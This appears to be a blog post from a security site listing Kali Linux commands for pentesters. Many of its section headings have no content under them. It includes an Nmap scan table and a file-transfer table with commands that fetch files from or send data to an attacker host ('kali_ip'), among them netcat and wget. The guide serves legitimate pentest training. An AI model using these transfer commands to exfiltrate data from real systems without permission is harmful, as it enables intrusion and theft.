White Hats - Nepal

Security research, bug bounty writeups, pentest notes

Kali Linux Commands for Pentesters & Bug Bounty Hunters

Mastering fundamental Kali Linux commands is non-negotiable for anyone serious about penetration testing, bug bounty hunting, or red team operations. These commands are the bedrock of efficient security assessments, allowing you to navigate systems, perform reconnaissance, exploit vulnerabilities, and manage data with precision. Without a solid grasp, you'll find yourself fumbling with GUI tools or missing critical details hidden in the command line output, significantly slowing down your work and potentially missing vulnerabilities.

From my years in the field, I can tell you that the most effective pentesters aren't just great with tools; they're command-line wizards. They know how to chain commands, pipe outputs, and script repetitive tasks, saving hours and revealing insights others miss. This post will walk you through the essential Kali Linux commands, giving you practical examples and the context you need to use them effectively in real-world scenarios.

Core System & File Management Kali Linux Commands

Before you can exploit systems, you need to navigate your own and understand how to manage files. These are the bread-and-butter commands you'll use daily.

Navigating the Filesystem

File Operations

Viewing & Manipulating File Content

Key Takeaway: Master grep and find. They are your eyes and ears for discovering interesting files, configurations, and sensitive data across compromised systems or during reconnaissance. They'll save you countless hours.

Network Reconnaissance & Scanning Kali Linux Commands

Reconnaissance is the first step of any engagement. These Kali Linux commands help you gather information about your target network and hosts.

Basic Network Utilities

Port Scanning & Service Enumeration with Nmap

Nmap (Network Mapper) is arguably the most important reconnaissance tool. Knowing its options is critical.

Here's a quick comparison of Nmap scan types:

Scan Type Command Description Detection Risk Speed
SYN Scan (Half-open) -sS Sends SYN, waits for SYN/ACK, then sends RST. Doesn't complete 3-way handshake. Low (often stealthier) Fast
TCP Connect Scan -sT Completes 3-way TCP handshake. Relies on OS connect() call. Higher (full connection) Moderate
UDP Scan -sU Sends UDP packets to common ports. Very slow due to UDP's stateless nature. Moderate (IDS may flag) Slow
Version Detection -sV Probes open ports to determine service/application version. Moderate Adds time to scan
OS Detection -O Attempts to determine target OS using TCP/IP fingerprinting. Moderate Adds time to scan

For more detailed Nmap usage, check out the official Nmap documentation.

Web & DNS Enumeration

Key Takeaway: Nmap is your best friend for network recon. Learn its flags inside out. Combine it with gobuster and dnsrecon for a complete picture of your target's exposed attack surface.

Vulnerability Analysis & Exploitation Kali Linux Commands

Once you've identified potential targets, it's time to find and exploit vulnerabilities.

Metasploit Framework

The Metasploit Framework is the industry standard for exploitation. Its command-line interface, msfconsole, is where you'll spend a lot of time.

Exploit Discovery & Web Vulnerability Scanners

Key Takeaway: Metasploit is your primary weapon for exploitation. Combine it with searchsploit for finding public exploits and sqlmap for automated SQLi. These tools significantly accelerate your vulnerability assessment process.

Post-Exploitation & Data Exfiltration Commands

Once you've gained initial access, the real fun begins: maintaining persistence, escalating privileges, and exfiltrating data.

System Information & Privilege Escalation

File Transfer & Data Exfiltration

Getting files onto or off a target system is a critical skill. Here are common methods:

Method Description Kali Command (Example) Target Command (Example) Notes
SCP (SSH) Securely copy files over SSH. Requires SSH access. scp file.txt user@target:/tmp/ scp user@kali_ip:/path/file.txt . Reliable, encrypted. Assumes SSH server running on target/Kali.
Wget / Curl Download files from a web server. (Kali: host web server) wget http://kali_ip/file.txt
curl -O http://kali_ip/file.txt
Simple, often works even with limited shells. Kali needs a web server.
Python SimpleHTTPServer Quickly set up a temporary web server on Kali. python3 -m http.server 80 (Target: use wget/curl) Very convenient for serving files from Kali.
Netcat (nc) Read/write data across network connections. Flexible but unencrypted. Kali Listener:
nc -lvp 4444 > received.txt
Target Sender:
nc kali_ip 4444 < send.txt
Good for quick transfers, but traffic is cleartext.
SMB Share Use Samba to share files from Kali. Kali: Configure Samba share. Target (Windows):
net use X: \\kali_ip\share
copy X:\file.exe .
Common in Windows environments.

Tunneling & Port Forwarding

Key Takeaway: Post-exploitation is about persistence and expanding your reach. Always look for SUID files, scheduled tasks, and exposed credentials. Learn multiple file transfer methods; one will always work when others fail.

Essential Utilities & Productivity Kali Linux Commands

Beyond the core security tools, several general Linux commands will dramatically boost your efficiency.

Text Processing & Data Manipulation

Session Management & History

Archiving & Compression

Password Cracking & Hashing

Key Takeaway: Don't overlook productivity tools. tmux will save your sanity, grep/awk/sed will make you a data processing guru, and history/alias will speed up your workflow significantly.

Staying Updated & Troubleshooting Kali Linux Commands

Keeping your Kali system current and knowing how to troubleshoot problems is vital for a smooth workflow.

System Updates & Package Management

Troubleshooting & Service Management

Key Takeaway: Regular updates are critical for a penetration testing distro like Kali. New exploits and tools appear constantly, and outdated software can introduce vulnerabilities or compatibility issues. Don't skip your apt update && apt full-upgrade!

Frequently Asked Questions

What are the most essential Kali Linux commands for beginners?

For beginners, focus on core system navigation and file management commands like ls, cd, pwd, cp, mv, rm, and viewing file content with cat or less. Also, grasp network basics with ping and the powerful port scanner nmap, starting with simple SYN scans.

How can I update my Kali Linux system and tools?

To update your Kali Linux system and all its tools, open a terminal and run sudo apt update && sudo apt full-upgrade -y. This command first refreshes the package lists and then upgrades all installed packages to their latest versions, ensuring you have the most current and secure tools.

Is Kali Linux difficult to learn for someone new to Linux?

Kali Linux can be challenging for complete Linux newcomers due to its command-line focus and specialized tools. However, with dedication to learning fundamental Linux commands and understanding networking concepts, it's certainly manageable. Start with basic commands, practice regularly, and explore available tutorials to build your skills gradually.

What is the difference between apt update and apt upgrade?

apt update fetches the latest package information from the repositories but doesn't install or upgrade anything. It essentially updates the list of available packages. apt upgrade (or apt full-upgrade for Kali) then uses this updated list to actually install newer versions of your installed packages.